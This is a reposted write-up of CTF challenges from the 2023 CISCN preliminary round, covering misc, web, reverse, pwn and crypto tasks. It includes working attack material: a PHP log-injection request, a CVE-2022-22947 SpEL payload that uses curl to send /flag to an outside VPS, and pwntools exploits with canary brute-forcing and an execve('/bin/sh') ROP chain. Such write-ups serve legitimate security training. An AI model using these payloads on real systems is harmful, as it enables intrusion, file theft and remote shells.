2023CISCN初赛

news2024/11/28 22:42:46

两天时间题量还挺大的,简单记录

文章目录

    • misc
      • 签到卡
      • pyshell
      • 国粹
      • 被加密的生产流量
      • 网络安全人才实战能力评价
    • web
      • unzip
      • dumpit
      • BackendService
    • reverse
      • babyRE
    • pwn
      • funcanary
      • 烧烤摊儿
    • crypto
      • 基于国密SM2算法的密文分发
      • 可信度量
      • Sign_in_passwd

misc

签到卡

就是做了个pythonshell的接口,直接打印即可

pyshell

起初想的jail逃逸,但逃不了一点,测试发现限制了输入长度,使用_拼接进行打印

image-20230528163448551

国粹

a.png为横坐标,k.png为纵坐标,题目.png为对应图片的位置信息

import matplotlib.pyplot as plt
# 坐标数据
x = [1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15,
15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18,
18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20,
22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23,
23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25,
25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29,
29, 31, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 34, 34,
35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37,
37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 39, 39, 39]
y = [4, 5, 10, 30, 3, 4, 5, 6, 10, 29, 30, 3, 4, 10, 16, 17, 22, 23, 24, 25,
29, 30, 2, 3, 4, 5, 10, 15, 16, 18, 21, 22, 24, 25, 29, 30, 3, 4, 10, 15, 17, 18,
19, 21, 22, 25, 28, 29, 3, 4, 10, 15, 16, 18, 19, 21, 22, 25, 29, 3, 4, 10, 11, 12,
13, 15, 18, 19, 22, 23, 24, 25, 29, 30, 3, 4, 11, 12, 15, 16, 17, 18, 19, 20, 25,
29, 30, 21, 22, 24, 25, 30, 31, 23, 24, 22, 23, 24, 25, 2, 3, 4, 5, 9, 10, 11, 12,
16, 17, 18, 19, 24, 25, 2, 5, 6, 9, 12, 19, 23, 24, 5, 9, 12, 18, 19, 22, 23, 4, 5,
9, 12, 17, 18, 23, 24, 3, 4, 9, 12, 16, 17, 24, 25, 3, 9, 12, 16, 25, 3, 4, 5, 6, 9,
10, 11, 12, 16, 17, 18, 19, 21, 22, 23, 24, 25, 10, 11, 3, 4, 5, 6, 10, 11, 12, 17,
18, 19, 24, 25, 3, 6, 7, 9, 10, 16, 17, 19, 20, 22, 23, 24, 25, 3, 6, 7, 9, 10, 16,
19, 20, 24, 25, 3, 6, 7, 10, 11, 12, 16, 19, 20, 24, 25, 3, 6, 7, 12, 13, 16, 19,
20, 24, 25, 3, 6, 7, 9, 12, 13, 16, 19, 20, 24, 25, 3, 4, 6, 9, 10, 11, 12, 16, 17,
19, 20, 24, 25, 4, 5, 17, 18, 19, 10, 11, 12, 13, 25, 31, 4, 5, 6, 10, 11, 12, 13,
17, 18, 19, 23, 24, 25, 26, 32, 3, 4, 6, 7, 12, 16, 17, 23, 24, 26, 32, 6, 7, 11,
16, 17, 23, 24, 26, 32, 6, 11, 12, 17, 18, 19, 23, 24, 25, 26, 33, 5, 12, 13, 19,
20, 26, 32, 4, 5, 13, 16, 19, 20, 25, 26, 32, 4, 5, 6, 7, 9, 10, 11, 12, 13, 16, 17,
18, 19, 24, 25, 31, 32, 23, 24, 31]
# 绘制散点图
plt.scatter(x, y)
# 添加标签和标题
plt.xlabel('a')
plt.ylabel('k')
plt.title('cnmd')
# 显示图形
plt.show()

被加密的生产流量

追tcp流,解箭头所指的base32

image-20230528163612915

网络安全人才实战能力评价

送分,做问卷即可

web

unzip

网上有相关文章,照着基本可以打通

参考:https://blog.csdn.net/justruofeng/article/details/122108924

image-20230528163837045

先传feng1再传feng2,即可getshell在根目录下读取flag

dumpit

通过将错误输出到log/11.php中,正好将<?=phpinfo()?>进行解析得到flag

?db=ctf&table_2_dump=\%3C\?\=phpinfo\(\)?\%3E%202%3E%20log/11.php

image-20230528164132946

后访问即可

/log/11.php

image-20230528164151491

BackendService

CVE-2022-22947,只不过改了些配置

先添加用户

166c3999576d290dbfb754757cd70c5

POST /nacos/v1/auth/users HTTP/1.1
Host: 39.107.137.13:30869
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=demo&password=demo

根据源码的配置文件进行gateway的配置

spring:
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8888
      config:
        name: backcfg
        file-extension: json
        group: DEFAULT_GROUP
        server-addr: 127.0.0.1:8888

07592cbe739d6948d913ef95c4e1a14

配置文件内容

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','xxx.xxx.xxx.xxx:9999','-F','echo=@/flag'}).getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

发布,然后访问/echo/123

在vps上收到flag

09a17d1430b6e112de228e4efc2ce59

reverse

babyRE

xml文件是一个snap可视化编程的配置文件

https://snap.berkeley.edu/snap/snap.html

导入xml文件后,可以看到以下信息

e573e50da1401fd4cb7aa55b1c45630

他的判断逻辑就是通过将输入的字符串按顺序前后两位进行异或后,放进test列表,然后和secret列表进行比对,如果正确,他就会输出well done

所以这里只要对secret的列表进行反向异或就行

这里在1插进值指的是在顺序1上插入,而不是使用0作为列表的开头

然后写脚本进行反向异或

<?php
$secret=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30];
$list=[];
//print_r(count($secret));
for($i=0;$i<=42;$i++){
    $secret[$i]=$secret[$i]^$secret[$i-1];
//    print_r($list);
    print_r($secret);

}
//var_dump($list);
//print_r($list);
for($i=0;$i<count($secret);$i++){
    if($secret[$i]>32) {
        echo chr($secret[$i]);
    }
}

得到flag

bbd42ff38c8ed1165f3792f1d9485a4

pwn

funcanary

# coding=utf-8
from pwn import *
context.log_level='debug'
context(os='linux',arch='amd64',terminal=['alacritty','-e','sh','-c'])

io=remote('',)

elf=ELF('./funcanary')

s=lambda x:io.send(x)
sa=lambda x,y:io.sendafter(x,y)
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
r=lambda x:io.recv(x)
ru=lambda x:io.recvuntil(x)
debug=lambda x:gdb.attach(io,gdbscript=x)

canary=b'\0'

ru('welcome')
for j in range(7):
    for i in range(0x100):
        s(b'a'*0x68+canary+chr(i))

        recv=ru('welcome')
        if b'fun' in recv:
            canary+=chr(i)
            break

for i in range(0x10):
    s(b'a'*0x68+canary+p64(0xdeadbeef)+b'\x28'+chr(i*0x10+2))
    recv=ru('welcome')
    if b'flag{' in recv:
        break

io.interactive()

烧烤摊儿

# coding=utf-8
from pwn import *
context.log_level='debug'
context(os='linux',arch='amd64',terminal=['alacritty','-e','sh','-c'])

io=remote('39.105.26.155',40225)

elf=ELF('./shaokao')

libc_file=''

s=lambda x:io.send(x)
sa=lambda x,y:io.sendafter(x,y)
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
r=lambda x:io.recv(x)
ru=lambda x:io.recvuntil(x)
debug=lambda x:gdb.attach(io,gdbscript=x)

choose=lambda x:sla('> ',str(x))

def pijiu(ty,size):
    choose(1)
    sla('3. 勇闯天涯',str(ty))
    sla('来几瓶?',str(size))

def kaochuan(ty,size):
    choose(2)
    sla('3. 鸡肉串',str(ty))
    sla('来几串?',str(size))

def yue():
    choose(3)

def vip():
    choose(4)

def gaime(name):
    choose(5)
    sla('烧烤摊儿已归你所有,请赐名:',name)

from struct import pack

p = b''

p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e0) # @ .data
p += pack(b'<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack(b'<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack(b'<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack(b'<Q', 0x000000000040264f) # pop rdi ; ret
p += pack(b'<Q', 0x00000000004e60e0) # @ .data
p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x4141414141414141) # padding
p += pack(b'<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000402404) # syscall

pijiu(1,-200000)
vip()
payload=b'a'*0x20+p64(0xdeadbeef)+p
gaime(payload)

io.interactive()

crypto

基于国密SM2算法的密文分发

照着文档复现就完事了

image-20230528164557810

可信度量

非预期了,直接读

find / –type f |xargs grep -ra "flag{" grep

image-20230528164659924

Sign_in_passwd

就是换表base64,很明显可以看出表是套了一层url编码,解完码直接嗦

image-20230528164832571

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/607299.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CoreDX DDS应用开发指南(2)安装和应用开发

2 CoreDX DDS安装 2.1 系统支持 2.1.1 支持的CPU架构和操作系统 2.1.2 支持的语言和编译器

Linux 实操篇-进程管理(重点)

Linux 实操篇-进程管理(重点) 基本介绍 在LINUX 中&#xff0c;每个执行的程序都称为一个进程。每一个进程都分配一个ID 号(pid,进程号)。>windows > linux每个进程都可能以两种方式存在的。前台与后台&#xff0c;所谓前台进程就是用户目前的屏幕上可以进行操作的。后…

[BJDCTF 2020]easy_md5

TL;DR php弱类型比较md5碰撞绕过&#xff0c;强类型比较传数组绕过ffifdyop md5后的值字符串值为’or’6<乱码>&#xff0c;可用于构造sql注入的bypass没思路了看看网页源代码、看看响应头 过程 拿到题目链接&#xff0c;放到burp里&#xff0c;发现响应头中的提示&am…

JavaScript实现100以内奇数和的代码

以下为实现100以内奇数和的程序代码和运行截图 目录 前言 一、100以内奇数和 1.1 运行流程及思想 1.2 代码段 1.3 JavaScript语句代码 1.4 运行截图 前言 1.若有选择&#xff0c;您可以在目录里进行快速查找&#xff1b; 2.本博文代码可以根据题目要求实现相关使用功能…

软件工程导论(三)系统概要设计

一、系统设计概述 1.1系统设计概述 设计和抽象 系统行为驱动完成设计面向对象设计系统数据驱动完成设计 面向操作的设计 面向数据的设计 设计主要分为三个步骤&#xff1a; 概要设计&#xff1a;接收需求的文档&#xff0c;完成模块的分解 详细设计&#xff1a;根据分解…

Linux 实操篇-网络配置

Linux 实操篇-网络配置 Linux 网络配置原理图 查看网络IP 和网关 查看虚拟网络编辑器和修改IP 地址 查看网关 查看windows 环境的中VMnet8 网络配置(ipconfig 指令) 查看linux 的网络配置ifconfig ping 测试主机之间网络连通性 基本语法 ping 目的主机&#xff08;功能描述…

CXGRid实现拖动鼠标多选

要实现在CXGrid中拖动鼠标多选&#xff0c;您可以按住鼠标左键并拖动鼠标&#xff0c;直到选择了要选择的单元格或行。您可以在拖动过程中按住Shift键来限制选择范围。拖动选择的单元格或行时&#xff0c;您可以按住Ctrl键来添加或删除单元格或行的选择。当您完成选择时&#x…

ChatGPT最全问答,你想知道的都在这里!

导读&#xff1a;ChatGPT最全问答&#xff0c;你想知道的都在这里&#xff01;本文为你详细解答了ChatGPT是什么、有哪些应用场景、如何更好地向ChatGPT提问以及ChatGPT的进阶技巧&#xff0c;让你轻松成为ChatGPT专家&#xff01; ChatGPT是什么&#xff1f; ChatGPT是一种自然…

简单Demo实现Javaweb的搭建在Tomcat

文章目录 环境准备程序编写 环境准备 本机&#xff1a;MacBook Pro 系统&#xff1a;MacOS 13.4 Tomcat 下载&#xff1a;Apache Tomcat - Welcome! 这里我下载的是9.0.75版本 启动Tomcat容器碰到Bug:Tomcat started.但是就是没法访问到相关页面&#xff0c;同时jps也没有相关…

Java数据驱动:CData JDBC Drivers 2022 Crack

JDBC 驱动程序 易于使用的 JDBC 驱动程序&#xff0c;具有强大的企业级功能 无与伦比的性能和可扩展性。 对实时数据的简单 JDBC/SQL 访问。 从流行的 BI 工具访问实时数据。 集成到流行的 IDE 中。 CData JDBC Drivers Software 是领先的数据访问和连接解决方​​案提供商。我…

附录4-微信开发者工具

目录 1.安装 2 微信开发者工具常用操作 2.1 创建项目 2.2 预览效果 2.3 查看小程序信息 2.4 自定义编译 2.4.1 创建编译模式 2.4.2 使用创建好的编译模式 2.4.3 删除编译模式 1.安装 【微信开发者工具下载】2023年最新官方正式版微信开发者工具免费下载 - 腾…

【企业化部署】Nginx之Rewrite与location的用法

文章目录 前言一、正则表达式1. Nginx 的正则表达式2. 正则表达的优势3. Nginx 使用正则的作用 二、location 的概念1. location 和 rewrite 区别2. location 匹配的分类3. location 常用的匹配规则3.1 location 匹配优先级3.2 location 匹配的实例3.3 实际网站规则定义第一个必…

Netty之EventLoop 解读

是什么 EventLoop &#xff08;事件循环对象&#xff09;本质是一个单线程执行器&#xff08;同时维护了一个 Selector&#xff09;&#xff0c;里面有 run 方法处理 Channel 上源源不断的 io 事件。 它的继承关系比较复杂 一条线是继承自 j.u.c.ScheduledExecutorService 因…

CenterSpace.NMath.Standard.Windows.X64 7.4 Crack

适用于所有 .NET 语言&#xff0c;包括 C#、Visual Basic 和 F#。 CenterSpace Software的NMath TM .NET 数学和统计库为.NET平台上的金融、工程和科学应用程序提供数值组件。 基础 .NET 数学和统计库NMath包括复数类、一般向量和矩阵类、结构化稀疏矩阵类和因式分解、一般稀疏…

华为OD机试真题 Java 实现【找出通过车辆最多颜色】【2023Q1 100分】

一、题目描述 在一个狭小的路口&#xff0c;每秒只能通过一辆车&#xff0c;假如车辆的颜色只有3种&#xff0c;找出n秒内经过的最多颜色的车辆数量。 三种颜色编号为0、1、2。 二、输入描述 第一行输入的是通过的车辆颜色信息 [0 1 1 2] 代表4秒钟通过的车辆颜色分别是0 1…

Rust每日一练(Leetday0020) 最后单词的长度、螺旋矩阵II、排列序列

目录 58. 最后一个单词的长度 Length of Last Word &#x1f31f; 59. 螺旋矩阵 II Spiral Matrix II &#x1f31f;&#x1f31f; 60. 排列序列 Permutation Sequence &#x1f31f;&#x1f31f;&#x1f31f; &#x1f31f; 每日一练刷题专栏 &#x1f31f; Rust每日…

Java企业级信息系统开发学习笔记14 Spring Boot(使用Spring Initializr方式构建Spring Boot项目)

文章目录 一、使用Spring Initializr方式构建Spring Boot项目&#xff08;一&#xff09;创建Spring Boot项目&#xff08;二&#xff09;创建控制器&#xff08;三&#xff09;运行入口类&#xff08;四&#xff09;访问Web页面&#xff08;五&#xff09;修改访问映射路径 一…

OpenMMLab-AI实战营第二期-MMPose代码介绍

课程介绍 原始视频链接&#xff1a; 安装MMDetection和MMPose&#xff1a;https://www.bilibili.com/video/BV1Pa4y1g7N7 MMDetection三角板目标检测&#xff1a;https://www.bilibili.com/video/BV1Lm4y1879K MMPose、RTMPose三角板关键点检测&#xff1a;https://www.bilibi…

chatgpt赋能python:Python取消Import:改变编程世界的未来发展趋势

Python取消Import&#xff1a;改变编程世界的未来发展趋势 Python是一门非常流行的编程语言&#xff0c;它是开源的&#xff0c;因此得到了许多人的喜爱。然而&#xff0c;在Python的发展过程中&#xff0c;有些人认为现有的模块和包管理方式不够理想&#xff0c;需要进行改进…

视频压缩的工作原理

一、说明 当你正在观看你最喜欢的节目&#xff0c;出现缓冲的时候&#xff0c;这是什么原因&#xff1f;当 Wi-Fi 带宽不足以下载传输视频流所需的数据时&#xff0c;就会发生缓冲。也有可能是视频网站发布了未压缩版本的视频文件&#xff0c;因此视频文件太大而无法流畅地流式…